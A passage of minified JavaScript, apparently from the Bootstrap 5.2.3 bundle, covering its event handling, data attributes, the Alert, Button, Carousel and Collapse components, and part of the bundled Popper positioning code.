i=t.NAME,n=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=n,t.jQueryInterface)}},"loading"===document.readyState?(f.length||document.addEventListener("DOMContentLoaded",(()=>{for(const t of f)t()})),f.push(e)):e()},m=t=>{"function"==typeof t&&t()},_=(e,i,n=!0)=>{if(!n)return void m(e);const o=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const n=Number.parseFloat(e),s=Number.parseFloat(i);return n||s?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(i)+5;let r=!1;const a=({target:n})=>{n===i&&(r=!0,i.removeEventListener(t,a),m(e))};i.addEventListener(t,a),setTimeout((()=>{r||s(i)}),o)},b=(t,e,i,n)=>{const s=t.length;let o=t.indexOf(e);return-1===o?!i&&n?t[s-1]:t[0]:(o+=i?1:-1,n&&(o=(o+s)%s),t[Math.max(0,Math.min(o,s-1))])},v=/[^.]*(?=\..*)\.|.*/,y=/\..*/,w=/::\d+$/,A={};let E=1;const T={mouseenter:"mouseover",mouseleave:"mouseout"},C=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function O(t,e){return e&&`${e}::${E++}`||t.uidEvent||E++}function x(t){const e=O(t);return t.uidEvent=e,A[e]=A[e]||{},A[e]}function k(t,e,i=null){return Object.values(t).find((t=>t.callable===e&&t.delegationSelector===i))}function L(t,e,i){const n="string"==typeof e,s=n?i:e||i;let o=N(t);return C.has(o)||(o=t),[n,s,o]}function D(t,e,i,n,s){if("string"!=typeof e||!t)return;let[o,r,a]=L(e,i,n);if(e in T){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};r=t(r)}const l=x(t),c=l[a]||(l[a]={}),h=k(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=O(r,e.replace(v,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(const a of o)if(a===r)return j(s,{delegateTarget:r}),n.oneOff&&P.off(t,s.type,e,i),i.apply(r,[s])}}(t,i,r):function(t,e){return function i(n){return j(n,{delegateTarget:t}),i.oneOff&&P.off(t,n.type,e),e.apply(t,[n])}}(t,r);u.delegationSelector=o?i:null,u.callable=r,u.oneOff=s,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function S(t,e,i,n,s){const o=k(e[i],n,s);o&&(t.removeEventListener(i,o,Boolean(s)),delete e[i][o.uidEvent])}function I(t,e,i,n){const s=e[i]||{};for(const o of Object.keys(s))if(o.includes(n)){const n=s[o];S(t,e,i,n.callable,n.delegationSelector)}}function N(t){return t=t.replace(y,""),T[t]||t}const P={on(t,e,i,n){D(t,e,i,n,!1)},one(t,e,i,n){D(t,e,i,n,!0)},off(t,e,i,n){if("string"!=typeof e||!t)return;const[s,o,r]=L(e,i,n),a=r!==e,l=x(t),c=l[r]||{},h=e.startsWith(".");if(void 0===o){if(h)for(const i of Object.keys(l))I(t,l,i,e.slice(1));for(const i of Object.keys(c)){const n=i.replace(w,"");if(!a||e.includes(n)){const e=c[i];S(t,l,r,e.callable,e.delegationSelector)}}}else{if(!Object.keys(c).length)return;S(t,l,r,o,s?i:null)}},trigger(t,e,i){if("string"!=typeof e||!t)return null;const n=u();let s=null,o=!0,r=!0,a=!1;e!==N(e)&&n&&(s=n.Event(e,i),n(t).trigger(s),o=!s.isPropagationStopped(),r=!s.isImmediatePropagationStopped(),a=s.isDefaultPrevented());let l=new Event(e,{bubbles:o,cancelable:!0});return l=j(l,i),a&&l.preventDefault(),r&&t.dispatchEvent(l),l.defaultPrevented&&s&&s.preventDefault(),l}};function j(t,e){for(const[i,n]of Object.entries(e||{}))try{t[i]=n}catch(e){Object.defineProperty(t,i,{configurable:!0,get:()=>n})}return t}const M=new Map,H={set(t,e,i){M.has(t)||M.set(t,new Map);const n=M.get(t);n.has(e)||0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>M.has(t)&&M.get(t).get(e)||null,remove(t,e){if(!M.has(t))return;const i=M.get(t);i.delete(e),0===i.size&&M.delete(t)}};function $(t){if("true"===t)return!0;if("false"===t)return!1;if(t===Number(t).toString())return Number(t);if(""===t||"null"===t)return null;if("string"!=typeof t)return t;try{return JSON.parse(decodeURIComponent(t))}catch(e){return t}}function W(t){return t.replace(/[A-Z]/g,(t=>`-${t.toLowerCase()}`))}const B={setDataAttribute(t,e,i){t.setAttribute(`data-bs-${W(e)}`,i)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${W(e)}`)},getDataAttributes(t){if(!t)return{};const e={},i=Object.keys(t.dataset).filter((t=>t.startsWith("bs")&&!t.startsWith("bsConfig")));for(const n of i){let i=n.replace(/^bs/,"");i=i.charAt(0).toLowerCase()+i.slice(1,i.length),e[i]=$(t.dataset[n])}return e},getDataAttribute:(t,e)=>$(t.getAttribute(`data-bs-${W(e)}`))};class F{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}_getConfig(t){return t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const i=o(e)?B.getDataAttribute(e,"config"):{};return{...this.constructor.Default,..."object"==typeof i?i:{},...o(e)?B.getDataAttributes(e):{},..."object"==typeof t?t:{}}}_typeCheckConfig(t,e=this.constructor.DefaultType){for(const n of Object.keys(e)){const s=e[n],r=t[n],a=o(r)?"element":null==(i=r)?`${i}`:Object.prototype.toString.call(i).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(s).test(a))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option "${n}" provided type "${a}" but expected type "${s}".`)}var i}}class z extends F{constructor(t,e){super(),(t=r(t))&&(this._element=t,this._config=this._getConfig(e),H.set(this._element,this.constructor.DATA_KEY,this))}dispose(){H.remove(this._element,this.constructor.DATA_KEY),P.off(this._element,this.constructor.EVENT_KEY);for(const t of Object.getOwnPropertyNames(this))this[t]=null}_queueCallback(t,e,i=!0){_(t,e,i)}_getConfig(t){return t=this._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return H.get(r(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.2.3"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const q=(t,e="hide")=>{const i=`click.dismiss${t.EVENT_KEY}`,s=t.NAME;P.on(document,i,`[data-bs-dismiss="${s}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),l(this))return;const o=n(this)||this.closest(`.${s}`);t.getOrCreateInstance(o)[e]()}))};class R extends z{static get NAME(){return"alert"}close(){if(P.trigger(this._element,"close.bs.alert").defaultPrevented)return;this._element.classList.remove("show");const t=this._element.classList.contains("fade");this._queueCallback((()=>this._destroyElement()),this._element,t)}_destroyElement(){this._element.remove(),P.trigger(this._element,"closed.bs.alert"),this.dispose()}static jQueryInterface(t){return this.each((function(){const e=R.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}q(R,"close"),g(R);const V='[data-bs-toggle="button"]';class K extends z{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=K.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}P.on(document,"click.bs.button.data-api",V,(t=>{t.preventDefault();const e=t.target.closest(V);K.getOrCreateInstance(e).toggle()})),g(K);const Q={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter((t=>t.matches(e))),parents(t,e){const i=[];let n=t.parentNode.closest(e);for(;n;)i.push(n),n=n.parentNode.closest(e);return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]},focusableChildren(t){const e=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!l(t)&&a(t)))}},X={endCallback:null,leftCallback:null,rightCallback:null},Y={endCallback:"(function|null)",leftCallback:"(function|null)",rightCallback:"(function|null)"};class U extends F{constructor(t,e){super(),this._element=t,t&&U.isSupported()&&(this._config=this._getConfig(e),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return X}static get DefaultType(){return Y}static get NAME(){return"swipe"}dispose(){P.off(this._element,".bs.swipe")}_start(t){this._supportPointerEvents?this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX):this._deltaX=t.touches[0].clientX}_end(t){this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX-this._deltaX),this._handleSwipe(),m(this._config.endCallback)}_move(t){this._deltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this._deltaX}_handleSwipe(){const t=Math.abs(this._deltaX);if(t<=40)return;const e=t/this._deltaX;this._deltaX=0,e&&m(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(P.on(this._element,"pointerdown.bs.swipe",(t=>this._start(t))),P.on(this._element,"pointerup.bs.swipe",(t=>this._end(t))),this._element.classList.add("pointer-event")):(P.on(this._element,"touchstart.bs.swipe",(t=>this._start(t))),P.on(this._element,"touchmove.bs.swipe",(t=>this._move(t))),P.on(this._element,"touchend.bs.swipe",(t=>this._end(t))))}_eventIsPointerPenTouch(t){return this._supportPointerEvents&&("pen"===t.pointerType||"touch"===t.pointerType)}static isSupported(){return"ontouchstart"in document.documentElement||navigator.maxTouchPoints>0}}const G="next",J="prev",Z="left",tt="right",et="slid.bs.carousel",it="carousel",nt="active",st={ArrowLeft:tt,ArrowRight:Z},ot={interval:5e3,keyboard:!0,pause:"hover",ride:!1,touch:!0,wrap:!0},rt={interval:"(number|boolean)",keyboard:"boolean",pause:"(string|boolean)",ride:"(boolean|string)",touch:"boolean",wrap:"boolean"};class at extends z{constructor(t,e){super(t,e),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=Q.findOne(".carousel-indicators",this._element),this._addEventListeners(),this._config.ride===it&&this.cycle()}static get Default(){return ot}static get DefaultType(){return rt}static get NAME(){return"carousel"}next(){this._slide(G)}nextWhenVisible(){!document.hidden&&a(this._element)&&this.next()}prev(){this._slide(J)}pause(){this._isSliding&&s(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval((()=>this.nextWhenVisible()),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?P.one(this._element,et,(()=>this.cycle())):this.cycle())}to(t){const e=this._getItems();if(t>e.length-1||t<0)return;if(this._isSliding)return void P.one(this._element,et,(()=>this.to(t)));const i=this._getItemIndex(this._getActive());if(i===t)return;const n=t>i?G:J;this._slide(n,e[t])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(t){return t.defaultInterval=t.interval,t}_addEventListeners(){this._config.keyboard&&P.on(this._element,"keydown.bs.carousel",(t=>this._keydown(t))),"hover"===this._config.pause&&(P.on(this._element,"mouseenter.bs.carousel",(()=>this.pause())),P.on(this._element,"mouseleave.bs.carousel",(()=>this._maybeEnableCycle()))),this._config.touch&&U.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const t of Q.find(".carousel-item img",this._element))P.on(t,"dragstart.bs.carousel",(t=>t.preventDefault()));const t={leftCallback:()=>this._slide(this._directionToOrder(Z)),rightCallback:()=>this._slide(this._directionToOrder(tt)),endCallback:()=>{"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout((()=>this._maybeEnableCycle()),500+this._config.interval))}};this._swipeHelper=new U(this._element,t)}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=st[t.key];e&&(t.preventDefault(),this._slide(this._directionToOrder(e)))}_getItemIndex(t){return this._getItems().indexOf(t)}_setActiveIndicatorElement(t){if(!this._indicatorsElement)return;const e=Q.findOne(".active",this._indicatorsElement);e.classList.remove(nt),e.removeAttribute("aria-current");const i=Q.findOne(`[data-bs-slide-to="${t}"]`,this._indicatorsElement);i&&(i.classList.add(nt),i.setAttribute("aria-current","true"))}_updateInterval(){const t=this._activeElement||this._getActive();if(!t)return;const e=Number.parseInt(t.getAttribute("data-bs-interval"),10);this._config.interval=e||this._config.defaultInterval}_slide(t,e=null){if(this._isSliding)return;const i=this._getActive(),n=t===G,s=e||b(this._getItems(),i,n,this._config.wrap);if(s===i)return;const o=this._getItemIndex(s),r=e=>P.trigger(this._element,e,{relatedTarget:s,direction:this._orderToDirection(t),from:this._getItemIndex(i),to:o});if(r("slide.bs.carousel").defaultPrevented)return;if(!i||!s)return;const a=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=s;const l=n?"carousel-item-start":"carousel-item-end",c=n?"carousel-item-next":"carousel-item-prev";s.classList.add(c),d(s),i.classList.add(l),s.classList.add(l),this._queueCallback((()=>{s.classList.remove(l,c),s.classList.add(nt),i.classList.remove(nt,c,l),this._isSliding=!1,r(et)}),i,this._isAnimated()),a&&this.cycle()}_isAnimated(){return this._element.classList.contains("slide")}_getActive(){return Q.findOne(".active.carousel-item",this._element)}_getItems(){return Q.find(".carousel-item",this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(t){return p()?t===Z?J:G:t===Z?G:J}_orderToDirection(t){return p()?t===J?Z:tt:t===J?tt:Z}static jQueryInterface(t){return this.each((function(){const e=at.getOrCreateInstance(this,t);if("number"!=typeof t){if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}else e.to(t)}))}}P.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",(function(t){const e=n(this);if(!e||!e.classList.contains(it))return;t.preventDefault();const i=at.getOrCreateInstance(e),s=this.getAttribute("data-bs-slide-to");return s?(i.to(s),void i._maybeEnableCycle()):"next"===B.getDataAttribute(this,"slide")?(i.next(),void i._maybeEnableCycle()):(i.prev(),void i._maybeEnableCycle())})),P.on(window,"load.bs.carousel.data-api",(()=>{const t=Q.find('[data-bs-ride="carousel"]');for(const e of t)at.getOrCreateInstance(e)})),g(at);const lt="show",ct="collapse",ht="collapsing",dt='[data-bs-toggle="collapse"]',ut={parent:null,toggle:!0},ft={parent:"(null|element)",toggle:"boolean"};class pt extends z{constructor(t,e){super(t,e),this._isTransitioning=!1,this._triggerArray=[];const n=Q.find(dt);for(const t of n){const e=i(t),n=Q.find(e).filter((t=>t===this._element));null!==e&&n.length&&this._triggerArray.push(t)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return ut}static get DefaultType(){return ft}static get NAME(){return"collapse"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t=[];if(this._config.parent&&(t=this._getFirstLevelChildren(".collapse.show, .collapse.collapsing").filter((t=>t!==this._element)).map((t=>pt.getOrCreateInstance(t,{toggle:!1})))),t.length&&t[0]._isTransitioning)return;if(P.trigger(this._element,"show.bs.collapse").defaultPrevented)return;for(const e of t)e.hide();const e=this._getDimension();this._element.classList.remove(ct),this._element.classList.add(ht),this._element.style[e]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const i=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(ht),this._element.classList.add(ct,lt),this._element.style[e]="",P.trigger(this._element,"shown.bs.collapse")}),this._element,!0),this._element.style[e]=`${this._element[i]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(P.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,d(this._element),this._element.classList.add(ht),this._element.classList.remove(ct,lt);for(const t of this._triggerArray){const e=n(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0,this._element.style[t]="",this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(ht),this._element.classList.add(ct),P.trigger(this._element,"hidden.bs.collapse")}),this._element,!0)}_isShown(t=this._element){return t.classList.contains(lt)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=r(t.parent),t}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(dt);for(const e of t){const t=n(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=Q.find(":scope .collapse .collapse",this._config.parent);return Q.find(t,this._config.parent).filter((t=>!e.includes(t)))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const i of t)i.classList.toggle("collapsed",!e),i.setAttribute("aria-expanded",e)}static jQueryInterface(t){const e={};return"string"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each((function(){const i=pt.getOrCreateInstance(this,e);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t]()}}))}}P.on(document,"click.bs.collapse.data-api",dt,(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();const e=i(this),n=Q.find(e);for(const t of n)pt.getOrCreateInstance(t,{toggle:!1}).toggle()})),g(pt);var gt="top",mt="bottom",_t="right",bt="left",vt="auto",yt=[gt,mt,_t,bt],wt="start",At="end",Et="clippingParents",Tt="viewport",Ct="popper",Ot="reference",xt=yt.reduce((function(t,e){return t.concat([e+"-"+wt,e+"-"+At])}),[]),kt=[].concat(yt,[vt]).reduce((function(t,e){return t.concat([e,e+"-"+wt,e+"-"+At])}),[]),Lt="beforeRead",Dt="read",St="afterRead",It="beforeMain",Nt="main",Pt="afterMain",jt="beforeWrite",Mt="write",Ht="afterWrite",$t=[Lt,Dt,St,It,Nt,Pt,jt,Mt,Ht];function Wt(t){return t?(t.nodeName||"").toLowerCase():null}function Bt(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function Ft(t){return t instanceof Bt(t).Element||t instanceof Element}function zt(t){return t instanceof Bt(t).HTMLElement||t instanceof HTMLElement}function qt(t){return"undefined"!=typeof ShadowRoot&&(t instanceof Bt(t).ShadowRoot||t instanceof ShadowRoot)}const Rt={name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var i=e.styles[t]||{},n=e.attributes[t]||{},s=e.elements[t];zt(s)&&Wt(s)&&(Object.assign(s.style,i),Object.keys(n).forEach((function(t){var e=n[t];!1===e?s.removeAttribute(t):s.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,i={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,i.popper),e.styles=i,e.elements.arrow&&Object.assign(e.elements.arrow.style,i.arrow),function(){Object.keys(e.elements).forEach((function(t){var n=e.elements[t],s=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:i[t]).reduce((function(t,e){return t[e]="",t}),{});zt(n)&&Wt(n)&&(Object.assign(n.style,o),Object.keys(s).forEach((function(t){n.removeAttribute(t)})))}))}},requires:["computeStyles"]};function Vt(t){return t.split("-")[0]}var Kt=Math.max,Qt=Math.min,Xt=Math.round;function Yt(){var t=navigator.userAgentData;return null!=t&&t.brands?t.brands.map((function(t){return t.brand+"/"+t.version})).join(" "):navigator.userAgent}function Ut(){return!/^((?!chrome|android).)*safari/i.test(Yt())}function Gt(t,e,i){void 0===e&&(e=!1),void 0===i&&(i=!1);var n=t.getBoundingClientRect(),s=1,o=1;e&&zt(t)&&(s=t.offsetWidth>0&&Xt(n.width)/t.offsetWidth||1,o=t.offsetHeight>0&&Xt(n.height)/t.offsetHeight||1);var r=(Ft(t)?Bt(t):window).visualViewport,a=!Ut()&&i,l=(n.left+(a&&r?r.offsetLeft:0))/s,c=(n.top+(a&&r?r.offsetTop:0))/o,h=n.width/s,d=n.height/o;return{width:h,height:d,top:c,right:l+h,bottom:c+d,left:l,x:l,y:c}}function Jt(t){var e=Gt(t),i=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-i)<=1&&(i=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:i,height:n}}function Zt(t,e){var i=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(i&&qt(i)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function te(t){return Bt(t).getComputedStyle(t)}function ee(t){return["table","td","th"].indexOf(Wt(t))>=0}function ie(t){return((Ft(t)?t.ownerDocument:t.document)||window.document).documentElement}function ne(t){return"html"===Wt(t)?t:t.assignedSlot||t.parentNode||(qt(t)?t.host:null)||ie(t)}function se(t){return zt(t)&&"fixed"!==te(t).position?t.offsetParent:null}function oe(t){for(var e=Bt(t),i=se(t);i&&ee(i)&&"static"===te(i).position;)i=se(i);return i&&("html"===Wt(i)||"body"===Wt(i)&&"static"===te(i).position)?e:i||function(t){var e=/firefox/i.test(Yt());if(/Trident/i.test(Yt())&&zt(t)&&"fixed"===te(t).position)return null;var i=ne(t);for(qt(i)&&(i=i.host);zt(i)&&["html","body"].indexOf(Wt(i))<0;){var n=te(i);if("none"!==n.transform||"none"!==n.perspective||"paint"===n.contain||-1!==["transform","perspective"].indexOf(n.willChange)||e&&"filter"===n.willChange||e&&n.filter&&"none"!==n.filter)return i;i=i.parentNode}return null}(t)||e}function re(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}function ae(t,e,i){return Kt(t,Qt(e,i))}function le(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function ce(t,e){return e.reduce((function(e,i){return e[i]=t,e}),{})}const he={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,i=t.state,n=t.name,s=t.options,o=i.elements.arrow,r=i.modifiersData.popperOffsets,a=Vt(i.placement),l=re(a),c=[bt,_t].indexOf(a)>=0?"height":"width";if(o&&r){var h=function(t,e){return le("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:ce(t,yt))}(s.padding,i),d=Jt(o),u="y"===l?gt:bt,f="y"===l?mt:_t,p=i.rects.reference[c]+i.rects.reference[l]-r[l]-i.rects.popper[c],g=r[l]-i.rects.reference[l],m=oe(o),_=m?"y"===l?m.clientHeight||0:m.clientWidth||0:0,b=p/2-g/2,v=h[u],y=_-d[c]-h[f],w=_/2-d[c]/2+b,A=ae(v,w,y),E=l;i.modifiersData[n]=((e={})[E]=A,e.centerOffset=A-w,e)}},effect:function(t){var e=t.state,i=t.options.element,n=void 0===i?"[data-popper-arrow]":i;null!=n&&("string"!=typeof n||(n=e.elements.popper.querySelector(n)))&&Zt(e.elements.popper,n)&&(e.elements.arrow=n)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function de(t){return t.split("-")[1]}var ue={top:"auto",right:"auto",bottom:"auto",left:"auto"};function fe(t){var e,i=t.popper,n=t.popperRect,s=t.placement,o=t.variation,r=t.offsets,a=t.position,l=t.gpuAcceleration,c=t.adaptive,h=t.roundOffsets,d=t.isFixed,u=r.x,f=void 0===u?0:u,p=r.y,g=void 0===p?0:p,m="function"==typeof h?h({x:f,y:g}):{x:f,y:g};f=m.x,g=m.y;var _=r.hasOwnProperty("x"),b=r.hasOwnProperty("y"),v=bt,y=gt,w=window;if(c){var A=oe(i),E="clientHeight",T="clientWidth";A===Bt(i)&&"static"!==te(A=ie(i)).position&&"absolute"===a&&(E="scrollHeight",T="scrollWidth"),(s===gt||(s===bt||s===_t)&&o===At)&&(y=mt,g-=(d&&A===w&&w.visualViewport?w.visualViewport.height:A[E])-n.height,g*=l?1:-1),s!==bt&&(s!==gt&&s!==mt||o!==At)||(v=_t,f-=(d&&A===w&&w.visualViewport?w.visualViewport.width:A[T])-n.width,f*=l?1:-1)}var C,O=Object.assign({position:a},c&&ue),x=!0===h?function(t){var e=t.x,i=t.y,n=window.devicePixelRatio||1;return{x:Xt(e*n)/n||0,y:Xt(i*n)/n||0}}({x:f,y:g}):{x:f,y:g};return f=x.x,g=x.y,l?Object.assign({},O,((C={})[y]=b?"0":"",C[v]=_?"0":"",C.transform=(w.devicePixelRatio||1)<=1?"translate("+f+"px, "+g+"px)":"translate3d("+f+"px, "+g+"px, 0)",C)):Object.assign({},O,((e={})[y]=b?g+"px":"",e[v]=_?f+"px":"",e.transform="",e))}const pe={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,i=t.options,n=i.gpuAcceleration,s=void 0===n||n,o=i.adaptive,r=void 0===o||o,a=i.roundOffsets,l=void 0===a||a,c={placement:Vt(e.placement),variation:de(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:s,isFixed:"fixed"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,fe(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:r,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,fe(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}};var ge={passive:!0};const me={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,i=t.instance,n=t.options,s=n.scroll,o=void 0===s||s,r=n.resize,a=void 0===r||r,l=Bt(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",i.update,ge)})),a&&l.addEventListener("resize",i.update,ge),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",i.update,ge)})),a&&l.removeEventListener("resize",i.update,ge)}},data:{}};var _e={left:"right",right:"left",bottom:"top",top:"bottom"};function be(t){return t.replace(/left|right|bottom|top/g,(function(t){return _e[t]}))}var ve={start:"end",end:"start"};function ye(t){return t.replace(/start|end/g,(function(t){return ve[t]}))}function we(t){var e=Bt(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Ae(t){return Gt(ie(t)).left+we(t).scrollLeft}function Ee(t){var e=te(t),i=e.overflow,n=e.overflowX,s=e.overflowY;return/auto|scroll|overlay|hidden/.test(i+s+n)}function Te(t){return["html","body","#document"].indexOf(Wt(t))>=0?t.ownerDocument.body:zt(t)&&Ee(t)?t:Te(ne(t))}function Ce(t,e){var i;void 0===e&&(e=[]);var n=Te(t),s=n===(null==(i=t.ownerDocument)?void 0:i.body),o=Bt(n),r=s?[o].concat(o.visualViewport||[],Ee(n)?n:[]):n,a=e.concat(r);return s?a:a.concat(Ce(ne(r)))}function Oe(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function xe(t,e,i){return e===Tt?Oe(function(t,e){var i=Bt(t),n=ie(t),s=i.visualViewport,o=n.clientWidth,r=n.clientHeight,a=0,l=0;if(s){o=s.width,r=s.height;var c=Ut();(c||!c&&"fixed"===e)&&(a=s.offsetLeft,l=s.offsetTop)}return{width:o,height:r,x:a+Ae(t),y:l}}(t,i)):Ft(e)?function(t,e){var i=Gt(t,!1,"fixed"===e);return i.top=i.top+t.clientTop,i.left=i.left+t.clientLeft,i.bottom=i.top+t.clientHeight,i.right=i.left+t.clientWidth,i.width=t.clientWidth,i.height=t.clientHeight,i.x=i.left,i.y=i.top,i}(e,i):Oe(function(t){var e,i=ie(t),n=we(t),s=null==(e=t.ownerDocument)?void 0:e.body,o=Kt(i.scrollWidth,i.clientWidth,s?s.scrollWidth:0,s?s.clientWidth:0),r=Kt(i.scrollHeight,i.clientHeight,s?s.scrollHeight:0,s?s.clientHeight:0),a=-n.scrollLeft+Ae(t),l=-n.scrollTop;return"rtl"===te(s||i).direction&&(a+=Kt(i.clientWidth,s?s.clientWidth:0)-o),{width:o,height:r,x:a,y:l}}(ie(t)))}function ke(t){var e,i=t.reference,n=t.element,s=t.placement,o=s?Vt(s):null,r=s?de(s):null,a=i.x+i.width/2-n.width/2,l=i.y+i.height/2-n.height/2;switch(o){case gt:e={x:a,y:i.y-n.height};break;case mt:e={x:a,y:i.y+i.height};break;case _t:e={x:i.x+i.width,y:l};break;case 